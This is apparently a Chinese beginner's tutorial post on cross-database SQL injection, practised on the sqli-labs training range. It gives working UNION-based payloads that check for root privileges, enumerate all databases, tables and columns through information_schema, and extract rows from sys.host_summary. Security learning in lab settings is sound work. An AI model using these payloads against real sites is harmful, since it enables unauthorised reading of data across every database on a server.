本人小白一个,如果有什么问题希望大佬可以指出,有什么疑问也可以在评论区留言一起讨论一下共同学习进步。
sql注入之跨库注入
跨库注入没有什么难点,主要是需要root权限
那么怎样判断有没有root权限呢?
我们依旧使用sqli-labs靶场的第一关进行一个测试
?id=0' union select 1,user(),database()--+
可以看到在user的注入点有root回显这就是存在root权限。
那么我们接下来就可以进行跨库注入了。
第一步:注出所有数据库
?id=0' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
照常的解释一下语句:
information_schema.schemata在这里面存储着所有的数据库名。
schema_name通常用来表示数据库中的模式(Schema)。数据库模式是数据库对象的集合,包括表、视图、索引、存储过程等。数据库模式用于组织和管理数据库对象,提供了对这些对象的命名空间和访问控制。
那么可能有师傅会有疑惑了为什么我们不用database()。datbase()不也代表数据库吗?
?id=0' union select 1,group_concat(database()),3 from information_schema.schemata--+
在 MySQL 中,Database
和 Schema
可以互换使用,它们基本上是同一个概念。但是呢在跨库注入中我们尽量不用database。
第二步:读取数据库中的表
0'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='sys'--+
接下来的注入与其他的注入没有任何不同
第三步:注出列
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='sys' and table_name='host_summary'--+
第四步: 注出内容敏感信息
?id=0' union select 1,group_concat(host),3 from sys.host_summary--+
总结:
跨库注入
跨库注入(Cross-database Injection)是一种SQL注入攻击技术,攻击者通过SQL注入漏洞,不仅能够操作当前数据库中的数据,还可以在同一数据库服务器上访问和操控其他数据库的数据。这种攻击方式可以大大扩大攻击者的影响范围和获取的信息量。
等到了实战的时候各位师傅们就可以知道跨库注入的重要性了。